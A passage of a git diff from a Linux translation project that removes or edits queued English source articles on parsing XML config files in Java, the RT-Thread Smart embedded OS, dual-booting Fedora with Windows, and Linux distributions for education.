Paths.get([System][6].getProperty("user.home"), ".config", "DemoXMLParser"); -                [File][7] configFile = new [File][7](configPath.toString(), "myconfig.xml"); -                DocumentBuilderFactory factory = -                DocumentBuilderFactory.newInstance(); -                DocumentBuilder builder = null; -                -                try { -                        builder = factory.newDocumentBuilder(); -                } catch (ParserConfigurationException e) { -                        // TODO Auto-generated catch block -                        e.printStackTrace(); -                } -        -                [Document][8] doc = null; -        -                try { -                        doc = builder.parse(configFile); -                } catch (SAXException e) { -                        // TODO Auto-generated catch block -                        e.printStackTrace(); -                } catch ([IOException][11] e) { -                        // TODO Auto-generated catch block -                        e.printStackTrace(); -                } -        doc.getDocumentElement().normalize(); -        Node updatePref = null; -//        NodeList nodes = doc.getChildNodes(); -        NodeList nodes = doc.getElementsByTagName("window"); -        for (int i = 0; i < nodes.getLength(); i++) { -           Node mynode = nodes.item(i); -           [System][6].out.println("Property = " + mynode.getNodeName()); -            -           if (mynode.getNodeType() == Node.ELEMENT_NODE) { -               [Element][12] myelement = ([Element][12]) mynode; - -               [System][6].out.println("Theme = " + myelement.getElementsByTagName("theme").item(0).getTextContent()); -               [System][6].out.println("Fullscreen = " + myelement.getElementsByTagName("fullscreen").item(0).getTextContent()); -               [System][6].out.println("Icon set = " + myelement.getElementsByTagName("icons").item(0).getTextContent()); - -               updatePref = myelement.getElementsByTagName("fullscreen").item(0); -               updatePref.setTextContent("2"); -               [System][6].out.println("Updated fullscreen to " + myelement.getElementsByTagName("fullscreen").item(0).getTextContent());           -           } // close if -            -        }// close for - -        // write DOM back to the file -        TransformerFactory transformerFactory = TransformerFactory.newInstance(); -        Transformer xtransform; - -        DOMSource mydom = new DOMSource(doc); -        StreamResult streamResult = new StreamResult(configFile); - -        try { -                xtransform = transformerFactory.newTransformer(); -                xtransform.transform(mydom, streamResult); -        } catch (TransformerException e) { -                e.printStackTrace(); -        } -                        -    } // close method -} //close class -``` - -### Keep configuration trouble-free - -Configuration can be a deceptively simple routine. You might start with a simple plain text config format while your application has only a few configurable features, but as you introduce more options, reading or writing incorrect data can cause unexpected behavior from your application. One way to help keep your configuration process safe from failure is to use a strict format like XML and to lean on your programming language's built-in features to handle the complexity. - -I like using Java and XML for this very reason. When I try to read the wrong configuration value, Java lets me know, often because the node my code claims to want to read doesn't exist in the XML path I expect. XML's highly structured format helps me keep my code reliable, and that benefits both the users and the developer. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/7/parsing-config-files-java - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hot drink at the computer) -[2]: https://opensource.com/resources/java -[3]: https://opensource.com/article/21/6/what-config-files -[4]: https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html -[5]: https://opensource.com/article/19/10/java-basics -[6]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+system -[7]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+file -[8]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+document -[9]: https://www.w3.org/2003/01/dom2-javadoc/org/w3c/dom/Document.html -[10]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+string -[11]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+ioexception -[12]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+element diff --git a/sources/tech/20210709 What you need to know about security policies.md b/sources/tech/20210709 What you need to know about security policies.md index 43920a4927..12289bea9b 100644 --- a/sources/tech/20210709 What you need to know about security policies.md +++ b/sources/tech/20210709 What you need to know about security policies.md @@ -6,7 +6,6 @@ [#]: reviewer: ( ) [#]: publisher: ( ) [#]: url: ( ) - What you need to know about security policies ====== Learn about protecting your personal computer, server, and cloud systems diff --git a/sources/tech/20210710 A new open source operating system for embedded systems.md b/sources/tech/20210710 A new open source operating system for embedded systems.md deleted file mode 100644 index e8658cdb55..0000000000 --- a/sources/tech/20210710 A new open source operating system for embedded systems.md +++ /dev/null @@ -1,92 +0,0 @@ -[#]: subject: (A new open source operating system for embedded systems) -[#]: via: (https://opensource.com/article/21/7/rt-thread-smart) -[#]: author: (Zhu Tianlong https://opensource.com/users/zhu-tianlong) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -A new open source operating system for embedded systems -====== -RT-Thread Smart is working to open source the world of IoT and edge -computing. -![An intersection of pipes.][1] - -There's a growing demand for [embedded operating systems][2], and it's best when the one you build upon is open source. The [RT-Thread][3] project's R&D team has spent three years of research and intensive development to arrive at the project's latest offering: RT-Thread Smart. It is a microkernel operating system aimed primarily at midrange to high-end processors such as RISC-V with a memory management unit (MMU) and provides a competitive software platform for all industries in the embedded space. - -### Who needs RT-Thread Smart? - -RT-Thread Smart is a professional, high-performance, microkernel operating system for real-time applications. It offers an open source foundation for embedded devices in any market, including security (e.g., internet protocol cameras), industrial control, onboard devices, consumer electronics, and anything else using embedded technology (which is increasingly coming to mean "everything"). It's significant because, unlike traditional IoT operating systems, a microkernel operating system can fill the gap between a traditional real-time operating system (RTOS) and a comparatively large operating system like Linux to achieve the best balance between real-time performance, cost, security, startup speed, and more. - -### RT-Thread Smart's architecture - -RT-Thread Smart separates a system into kernel mode and user mode by taking advantage of the MMU and system call methods. It then divides the address space for each mode (a 32-bit system provides 4G address space). - -![RT-Thread Smart architecture][4] - -(RT-Thread, [CC BY-SA 4.0)][5] - -The RT-Thread Smart kernel includes the platform's basic functionality and supports customizations. RT-Thread Smart's userspace application environment uses [musl libc][6] to provide [POSIX][7] interface calls and C runtime supports. It also inherits the original RT-Thread ecosystem, using [SCons][8] or other build tools such as [Autotools][9], Makefiles, [CMake][10], and so on to support development, as well as RT-Thread's out-of-the-box online software packages (over 342 at the time of this writing). You can even port Linux applications, such as wget/cURL, BusyBox, OpenSSL, and Simple DirectMedia Layer, to your platform. - -The compressed RT-Thread Smart kernel is just 217KB, with a root filesystem of 127KB. Typical memory usage is about 2MB. - -Including full support for filesystems, network protocol stacks, and multimedia, it takes only three to five seconds for RT-Thread to finish its startup process. Without running any functional components, RT-Thread Smart requires less than 500ms to start and be ready. - -With its integrated Persimmon user interface (UI) component, the time it takes from power-on to a running UI is about one second. In other words, this is a seriously tiny and fast system. Of course, "real time" isn't about startup but how the system performs consistently over time. For RT-Thread, real-time performance is a priority, and the interrupt latency is less than 1 μs, which meets most application cases with the strictest real-time requirements. - -### RT-Thread Smart vs. RT-Thread - -You might be wondering about the differences between RT-Thread Smart and RT-Thread. Simply put, RT-Thread Smart is an RT-Thread RTOS-based operating system, but it integrates the user-state process. The kernel part of RT-Smart is essentially RT-Thread RTOS; it runs on virtual addresses, joins process management, and uses interprocess communication mechanisms, virtual memory/address space management, ELF loaders, and so on, and it makes all of these features components within RT-Thread RTOS. When the IwP components are disabled, RT-Smart falls back onto RT-Thread RTOS. - -Here's a comparison: - -| RT-Thread | RT-Thread Smart ----|---|--- -Supported chips | Cortex-M/R, RISC-V RV32IMAC (and similar), Cortex-A MPU | MPU with MMU, such as Cortex-A -Compiling | The kernel and application are compiled into an image program. | The kernel and application can be separately compiled and executed. -Memory | Runs on a linear address space (even with MMU) and uses virtual addressing with the physical address | Runs on a 32-bit system with the kernel running on more than 1GB, the user-state process has separate address spaces that are isolated from each other. Peripheral drivers must access peripherals with virtual addresses. -Running errors | When an application fails, the overall system collapses. | When an application fails, it does not affect kernel and other process execution. -Running model | Multiprocess model | Multiprocess model (multithread is supported within the process, and kernel threads are supported by the kernel) -User model | Single-user model | Single-user model -API | RT-Thread API, POSIX PSE52 | RT-Thread API (on kernel and userspace), plus a full POSIX API -Real time | Preemptive hard real-time system | Preemptive hard real-time system -Resource utilization | Very small | Relatively small -Debugging | Generally debugged through the emulator | No emulator required according to the way the software debugs - -RT-Thread RTOS is very compact. All applications and subsystems are compiled into the image, and multitasking runs and shares the same address space. - -RT-Thread Smart is independent. Systems and applications are separately compiled and executed. Applications have a complete address space and are kept isolated from each other. It also inherits all the great real-time features of RT-Thread and features a POSIX environment. - -Similarly, they're both compatible with the RT-Thread API, so applications on RT-Thread RTOS can be smoothly ported to RT-Thread Smart. - -### Embed open source - -RT-Thread Smart is an open source project, with its code available on [GitHub][11]. You can download the code and its documentation, give it a try, submit comments and feedback, and help spread it to more open source advocates. Embedded systems should belong to their users, and there are too many embedded developers out there who don't realize what's available. - -If you're a developer, help hack on RT-Thread Smart! As the RT-Thread project continues to advance, we aim to make the exciting worlds of IoT and edge computing open source. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/7/rt-thread-smart - -作者:[Zhu Tianlong][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/zhu-tianlong -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LAW-Internet_construction_9401467_520x292_0512_dc.png?itok=RPkPPtDe (An intersection of pipes.) -[2]: https://opensource.com/article/20/6/open-source-rtos -[3]: https://www.rt-thread.io/ -[4]: https://opensource.com/sites/default/files/uploads/rt-thread-smart.png (RT-Thread Smart architecture) -[5]: https://creativecommons.org/licenses/by-sa/4.0/legalcode -[6]: https://musl.libc.org/ -[7]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains -[8]: https://scons.org/ -[9]: https://opensource.com/article/19/7/introduction-gnu-autotools -[10]: https://opensource.com/article/21/5/cmake -[11]: https://github.com/RT-Thread/rt-thread/tree/rt-smart diff --git a/sources/tech/20210711 How to Dual Boot Fedora and Windows.md b/sources/tech/20210711 How to Dual Boot Fedora and Windows.md deleted file mode 100644 index 023ed5963b..0000000000 --- a/sources/tech/20210711 How to Dual Boot Fedora and Windows.md +++ /dev/null @@ -1,242 +0,0 @@ -[#]: subject: (How to Dual Boot Fedora and Windows) -[#]: via: (https://itsfoss.com/dual-boot-fedora-windows/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How to Dual Boot Fedora and Windows -====== - -_**Brief:** This detailed tutorial shows you **how to dual boot Fedora Linux with Windows 10**, step-by-step, accompanied by proper screenshots._ - -Dual booting Linux and Windows is one of the popular ways to enjoy the full potential of the two operating systems. You have both Linux and Windows installed on the same system and you can choose which one to use after starting your system. - -![On the grub screen, you can select the operating system][1] - -If you have a system with Windows installed already, you’ll learn how to install Fedora alongside Windows in this tutorial. - -### Installing Fedora alongside Windows - -![][2] - -The tutorial has been performed on a system with Windows already installed, GPT partitioning and UEFI boot. It should be applicable to other systems with MBR partitioning and legacy BIOS system as well, but I cannot confirm that. - -Note: If your Windows system uses BitLocker encryption, it will be a good idea to disable it first before you go on installing Fedora. - -#### Requirements - -Here’s what you’ll need to follow this tutorial: - - * A system preinstalled with Windows - * Good speed internet connection - * A USB key (pen drive) with at least 4 GB in size - * Optional: External USB disk for making back up of your existing data on Windows. - * Optional: Windows recovery or bootable disk (if you encounter any major boot issues, you can fix with it). - - - -Let’s see the steps. - -#### Step 1: Make a backup of data on your Windows system [optional] - -Backup is always a good idea. You will be dealing with the disk partitions. In the rare unfortunate case, if you make a mistake and delete the wrong partition, you’ll lose your data. - -The simplest way would to be to copy the data in Documents, Videos, Music, Pictures and other folders to an external USB disk. You can use an external HDD (slower but cheaper) or SSD (faster but expensive) and copy the important files and folders on it. - -Preview | Product | Price | ----|---|---|--- -![SanDisk 500GB Extreme Portable SSD - Up to 1050MB/s - USB-C, USB 3.2 Gen 2 - External Solid State Drive - SDSSDE61-500G-G25][3] ![SanDisk 500GB Extreme Portable SSD - Up to 1050MB/s - USB-C, USB 3.2 Gen 2 - External Solid State Drive - SDSSDE61-500G-G25][3] | [SanDisk 500GB Extreme Portable SSD - Up to 1050MB/s - USB-C, USB 3.2 Gen 2 - External Solid State...][4] | $89.99[][5] | [Buy on Amazon][6] -Preview | Product | Price | ----|---|---|--- -![Toshiba Canvio Advance 1TB Portable External Hard Drive USB 3.0, Black - HDTCA10XK3AA][7] ![Toshiba Canvio Advance 1TB Portable External Hard Drive USB 3.0, Black - HDTCA10XK3AA][7] | [Toshiba Canvio Advance 1TB Portable External Hard Drive USB 3.0, Black - HDTCA10XK3AA][8] | $51.99[][5] | [Buy on Amazon][9] - -#### Step 2: Make some free space for Fedora installation - -You need to create a partition where you’ll be installing Fedora. If you just have C drive, shrink it. If you have D, E or F drive, see if you can move their data to some other partition and delete or shrink one of them. Anything above 40 GB should be comfortable enough space for Fedora. - -In the Windows menu, search for ‘disk partitions’ and go to ‘Create and format hard disk partitions’. - -![][10] - -In the Disk Management tool, right-click on the drive which you want to partition and select **shrink volume**. - -If you have just one partition like this, you need to make some free space out of it for Linux. If you have several partitions of considerable size, use any of them except C drive because it may erase the data. - -![][11] - -#### Step 3: Making a live USB of Fedora in Windows - -Now, this can be done in different ways. You can download the ISO and [use Etcher][12] or Rufus or some other tool to write the ISO image to the USB disk. - -However, Fedora provides a dedicated tool for downloading and making live USB. I am going to use that in this tutorial. The Fedora team put some effort in creating this tool, so why not use it. - -But first, **plug in the USB key**. Now, go to the download page of Fedora: - -[Fedora Download][13] - -You’ll see the option to download the Fedora Media Writer tool for Windows. - -![][14] - -It will download an exe file. Once downloaded, go to your downloads folder and double-click the FedoraMediaWriter exe file to install the Fedora Media Writer tool. Just keep on hitting next. - -![][15] - -Once installed, run the Fedora Media Writer tool. But before that, **make sure that you have plugged in the USB**. - -It will give you the option to install various editions of Fedora. For desktops, go with Workstation. - -![][16] - -On the next screen, you’ll get the option to create live USB. When you hit that button, it starts downloading the ISO. It will also recognize your inserted USB key. - -You need to have a good speed internet connection to download the 2 GB of ISO in a comfortable time span. - -![][17] - -After downloading the ISO, it checks the download automatically and then gives you the option to write the ISO image to the USB disk, i.e. create the live USB. Hit the “Write to Disk” button. - -![][18] - -It will take a couple of minutes to complete the process. It displays “Finished” message and you can close the Fedora Media Writer tool now. - -![][19] - -Good! So now you have the Fedora live USB ready with you. Time to use it for installing Fedora with Windows. - -#### Step 4: Boot from live USB and install Fedora - -Some systems do not allow you to boot from live USB with secure boot. If that’s the case with you, please [disable secure boot][20]. - -At the screen that shows the logo of your system manufacturer, press the **F2 or F10 or F12** key. You may try pressing all of them one by one if you are not sure of the key. But **be quick** when you do that otherwise it will boot into the operating system. - -This key is different for different brand of computers. Some may even use **Esc** or **Del** keys for this purpose. - -![Quickly press F2, F10 or F12 keys at the screen showing your system manufacturer’s logo][21] - -In some rare cases, you may have to [access the UEFI boot settings from within Windows][22]. - -In the BIOS settings, normally, you should see a screen like this. Here, you use the arrow keys to move down to USB option and press enter to boot from the USB. Please note that the screen may look different in different systems. - -![][23] - -If things go right, you should see a screen like below. **Go with the first option “Start Fedora Workstation”:** - -![][24] - -After some seconds, you should boot into the live Fedora session and see the option to try or install it. Go with “Install to Hard Drive”. - -![][25] - -It will ask to choose the language of choice for the installation process. - -![][26] - -The next screen is important. If you had created the free space in the step 2, you should be able to hit on the “Begin Installation”. If you see an exclamation mark on the disk icon under System, click on it and see what kind of disk configuration you can use here. - -If you have more than one disk, you can choose which disk to use for Fedora. - -![][27] - -Select the disk and click on Done. You may see a warning message now. In my case, I did not create free space in the step 2 and hence it complained that there is not enough free space to install Fedora. - -![][28] - -I clicked on reclaim space and shrank the Windows partition here. - -![][29] - -After this, the “Begin Installation” option appeared to start the installation. - -![][30] - -Now it’s just a waiting game. It will take a few minutes to extract files and install them. - -![][31] - -When the process completes, you’ll see the “Finish Installation” button. Hit it. - -![][32] - -You’ll be back to Fedora live session. Click the top right corner to bring down the menu and select Restart. - -![][33] - -When the system starts now, you should see the [Grub bootloader][34] screen with option to boot into Fedora and Windows. - -![][1] - -#### Step 5: Complete Fedora setup - -You are almost there. Did you notice that Fedora didn’t ask you to enter username and password? Many distributions like Ubuntu ask you to create an admin user during the installation itself. On the other hand, Fedora gives you this option when you log in to the installed system for the first time. - -When you first log in, it runs a setup and creation of user and password is part of this initial setup. - -![][35] - -![][36] - -![][37] - -Once you do that, you are ready to enjoy Fedora Linux. - -![][38] - -That’s it. You can enjoy Fedora Linux and Windows in dual boot mode on the same system. - -If you have any questions or if you are facing any issues while following this tutorial, please let me know in the comment system. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/dual-boot-fedora-windows/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/dual-boot-grub-screen-fedora-windows.jpg?resize=800%2C350&ssl=1 -[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-windows-dual-boot.jpg?resize=800%2C450&ssl=1 -[3]: https://i1.wp.com/m.media-amazon.com/images/I/41zwkV8VfPL._SL160_.jpg?ssl=1 -[4]: https://www.amazon.com/dp/B08GTXVG9P?tag=chmod7mediate-20&linkCode=ogi&th=1&psc=1 (SanDisk 500GB Extreme Portable SSD - Up to 1050MB/s - USB-C, USB 3.2 Gen 2 - External Solid State Drive - SDSSDE61-500G-G25) -[5]: https://www.amazon.com/gp/prime/?tag=chmod7mediate-20 (Amazon Prime) -[6]: https://www.amazon.com/dp/B08GTXVG9P?tag=chmod7mediate-20&linkCode=ogi&th=1&psc=1 (Buy on Amazon) -[7]: https://i0.wp.com/m.media-amazon.com/images/I/31-nRLIONWL._SL160_.jpg?ssl=1 -[8]: https://www.amazon.com/dp/B08JKFY8FH?tag=chmod7mediate-20&linkCode=ogi&th=1&psc=1 (Toshiba Canvio Advance 1TB Portable External Hard Drive USB 3.0, Black - HDTCA10XK3AA) -[9]: https://www.amazon.com/dp/B08JKFY8FH?tag=chmod7mediate-20&linkCode=ogi&th=1&psc=1 (Buy on Amazon) -[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/03/disc-management-windows.png?resize=800%2C561&ssl=1 -[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/04/making-free-space-for-dual-boot.jpg?resize=1226%2C728&ssl=1 -[12]: https://itsfoss.com/install-etcher-linux/ -[13]: https://getfedora.org/en/workstation/download/ -[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/download-fedora-media-writer-tool.png?resize=800%2C373&ssl=1 -[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-Fedora-Media-Writer-tool-Windows.png?resize=745%2C581&ssl=1 -[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-media-writer-1.png?resize=800%2C425&ssl=1 -[17]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-media-writer-2.jpg?resize=800%2C422&ssl=1 -[18]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/writing-fedora-iso-to-usb-with-Fedora-Media-Writer-Tool.png?resize=800%2C285&ssl=1 -[19]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedoa-live-usb-with-fedora-media-writer.png?resize=800%2C300&ssl=1 -[20]: https://itsfoss.com/disable-secure-boot-windows/ -[21]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/acer-predator-boot.jpg?resize=800%2C600&ssl=1 -[22]: https://itsfoss.com/access-uefi-settings-windows-10/ -[23]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/06/select-boot-from-live-usb.jpg?resize=800%2C330&ssl=1 -[24]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-live-screen.jpg?resize=800%2C350&ssl=1 -[25]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/Fedora-install-screen.jpg?resize=800%2C450&ssl=1 -[26]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-1.png?resize=800%2C450&ssl=1 -[27]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-2.png?resize=800%2C450&ssl=1 -[28]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-3.png?resize=800%2C450&ssl=1 -[29]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-4.png?resize=800%2C450&ssl=1 -[30]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-5.png?resize=800%2C450&ssl=1 -[31]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-6.png?resize=800%2C450&ssl=1 -[32]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/installing-fedora-7.png?resize=800%2C450&ssl=1 -[33]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/restart-gnome-fedora.jpg?resize=799%2C439&ssl=1 -[34]: https://itsfoss.com/what-is-grub/ -[35]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-setup-1.png?resize=800%2C575&ssl=1 -[36]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-setup-2.png?resize=800%2C593&ssl=1 -[37]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-setup-3.png?resize=800%2C591&ssl=1 -[38]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/fedora-setup-completed.jpg?resize=800%2C500&ssl=1 diff --git a/sources/tech/20210714 5 Rust tools worth trying on the Linux command line.md b/sources/tech/20210714 5 Rust tools worth trying on the Linux command line.md index ba030d55fd..b723dc42df 100644 --- a/sources/tech/20210714 5 Rust tools worth trying on the Linux command line.md +++ b/sources/tech/20210714 5 Rust tools worth trying on the Linux command line.md @@ -2,7 +2,7 @@ [#]: via: (https://opensource.com/article/21/7/rust-tools-linux) [#]: author: (Sudeshna Sur https://opensource.com/users/sudeshna-sur) [#]: collector: (lujun9972) -[#]: translator: (amwps290 ) +[#]: translator: ( ) [#]: reviewer: ( ) [#]: publisher: ( ) [#]: url: ( ) diff --git a/sources/tech/20210715 Linux for Education- Best Distributions for Kids, Teachers - Schools.md b/sources/tech/20210715 Linux for Education- Best Distributions for Kids, Teachers - Schools.md deleted file mode 100644 index c0799f7647..0000000000 --- a/sources/tech/20210715 Linux for Education- Best Distributions for Kids, Teachers - Schools.md +++ /dev/null @@ -1,197 +0,0 @@ -[#]: subject: (Linux for Education: Best Distributions for Kids, Teachers & Schools) -[#]: via: (https://itsfoss.com/educational-linux-distros/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Linux for Education: Best Distributions for Kids, Teachers & Schools -====== - -Can kids use Linux distributions? And is it suitable for school use? - -Well, that depends on what are your options and what you choose to go with. No matter whether you want something for a kid or the school teacher, there are options available. - -Hence, to give you a head start, we have curated a list of [best Linux distributions][1] tailored for education. - -### Best Linux Distribution for Kids - -For a kid, a distribution has to offer a user-friendly UI minus the advanced functionalities. - -You may argue that it can be done with any mainstream, [beginner-friendly distro like Ubuntu][2], Mint or Zorin. You are right, but if a distribution comes with [essential tools][3] baked in and makes it easy to use, kids will quickly learn to use it and have fun. - -#### 1\. Endless OS - -![Image Credits: Distrowatch][4] - -Endless OS is a popular option to go for as a Linux distro tailored for education. - -It is based on Debian and uses GNOME desktop environment. Even though it restricts usage of its OS on more than five hundred computers in a year, it is free to download. - -The user interface is easy to use and looks attractive for installation in a modern PC. You get variety of applications pre-installed. Hence, this comes handy for computers with no internet access. - -[Endless OS][5] - -#### 2\. Ubermix - -![][6] - -Ubermix is an Ubuntu-based Linux distribution that aims to reduce the complexity by tweaking the user interface, getting rid of unnecessary apps, and adding essential tools/apps for education. - -It also offers a way to easily recover from a system issue in case there is a problem. An optional parental control feature is present for content filtering and [screen time controls][7], which is indeed useful. - -Ubermix is actively maintained and provides plenty of instructions for installation and troubleshooting on its official website. - -[ubermix][8] - -#### 3\. Kano OS (for Raspberry Pi) - -![][9] - -Kano is a computing kit tailored for educating children from 6 to 14 years. It’s like a premium version of Raspberry Pi with plenty of DIY and coding activities for the young ones. - -Preview | Product | Price | ----|---|---|--- -![Kano Computer Kit – A Computer Anyone Can Make][10] ![Kano Computer Kit – A Computer Anyone Can Make][10] | [Kano Computer Kit – A Computer Anyone Can Make][11] | $345.00[][12] | [Buy on Amazon][13] - -Kano also has Debian based [operating system for Raspberry Pi][14]. You don’t need to have Kano kit for this purpose. You can use it on your Raspberry Pi. - -It aims to provide the benefits of it—curated for education when coupled with their computer kits. Ranging from coding apps to games, there should be something for everyone. - -You will also find useful parental control settings to limit/tweak the experience for your kid. For additional help, the [official help resources][15] will come in handy as well. - -[Kano OS][16] - -#### 4\. AcademiX GNU/Linux - -![][17] - -Yet another distribution based on Debian focused for learning. - -Not just for primary-level education, but the programs included in the operating system should be useful for university students as well. It also includes virtual interactive labs and virtual microscope. - -**While it makes learning easy with the utilities pre-installed, teachers can also use it to create content and publish.** - -So, it can be an all-in-one choice for a lot of potential learners and teachers in school. - -[AcademiX][18] - -#### 5\. Sugar (makes any distro kids friendly) - -![][19] - -Sugar is not a full-fledged OS but a learning platform (environment) that can be installed on top of any Linux distro to set it up for learning. - -Not just to help your kid learn with an easy-to-use interface, it also helps collaborating, sharing, and learning pre-installed software tools. - -It is also available for Raspberry Pi computers. And a [Flatpak package][20] lets you easily install some of its activities in any Linux distribution. - -[Sugar][21] - -#### 6\. Li-f-e - -Linux for education (Li-f-e) was originally a project by OpenSUSE and this is a continuation of that. - -Even though it is not backed by OpenSUSE now (I couldn’t find any references), it could be a useful option for kids and schools. - -This is based on Ubuntu MATE and offers several built-in applications as per some of the textbooks. It does not offer anything extraordinary but more like Ubuntu for education, which is actively maintained at the time of writing this. - -[Li-f-e][22] - -### Best Linux Distribution for Schools - -The ones I mentioned so far were tailored to be used by children for their education and learning. But education has two parts: students and teachers. - -This is why this list is divided into two parts. This second part lists some options that can be a good fit for school administrators, management, and teachers. - -Of course, you can always use Linux Mint, elementary OS, or Ubuntu if you want to utilize a stable and reliable Linux desktop OS to manage your school (or) content creation. However, there are some choices that are customized for the purpose. - -#### 1\. Debian Edu/Skolelinux - -![Image Credits: Distrowatch][23] - -Skolelinux is a Debian-based distribution that comes packed with several applications and networking services fit for students and teachers in school. - -It is also known as Debian Edu. You get the ability to opt for offline installation by downloading the required ISO or the base system with online installation for the rest. - -Even though kids can use it after setup, it requires a bit of learning curve to configure and maintain. Hence, this is more inclined towards school administrators or teachers than kids. - -[Skolelinux][24] - -#### 2\. Linux Schools (Karoshi Server) - -A Linux distribution with the perks of Ubuntu LTS built for school servers. If you want to setup a server and monitor/control a network of connected servers, Linux Schools (or Karoshi Server) is a good fit. - -It lets you administer a network of servers using a web interface. You do not need in-depth knowledge about Linux system administration to utilize it. - -[Linux Schools][25] - -#### 3\. Escuelas Linux - -![][26] - -[Escuelas Linux][27] is based on Bodhi Linux. It comes baked in with several applications fit for educational environments. - -It has custom tools for resetting the distro in the post-installed state in seconds. There is also options to reinstate users. Apart from that, it comes with applications for distributing educational material within the network, screen broadcasting, mirroring, remote command execution, message sending, screen locking and muting sound to the students’s computers. - -Considering it is based on Bodhi Linux, which is one of the [best lightweight Linux distros][28], this can be a good pick for older systems. - -You also get an added developer pack, which is optional to install, if you need advanced tools like NetBeans, Git, Android Studio. - -[Escuelas Linux][29] - -In addition to these options, there is also [EduBOSS][30], an education version of BOSS Linux which is tailored for Indian schools, if that is relevant to you. - -### Wrapping Up - -While there are 100s of Linux distribution, only a handful exist that are specially crafted for education. - -It is a good thing that there some viable options for students, teachers, and school administration. - -After all, Linux can be used everywhere and by anyone. Am I right? - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/educational-linux-distros/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/best-linux-distributions/ -[2]: https://itsfoss.com/best-linux-beginners/ -[3]: https://itsfoss.com/essential-linux-applications/ -[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/endless-os-distrowatch.png?resize=800%2C500&ssl=1 -[5]: https://endlessos.com/home/ -[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/ubermix-4-official.png?resize=800%2C452&ssl=1 -[7]: https://itsfoss.com/activitywatch/ -[8]: https://ubermix.org/download.html -[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/kano-os.png?resize=800%2C570&ssl=1 -[10]: https://i1.wp.com/m.media-amazon.com/images/I/41-VaIktpgL._SL160_.jpg?ssl=1 -[11]: https://www.amazon.com/dp/B073VTCS66?tag=chmod7mediate-20&linkCode=ogi&th=1&psc=1 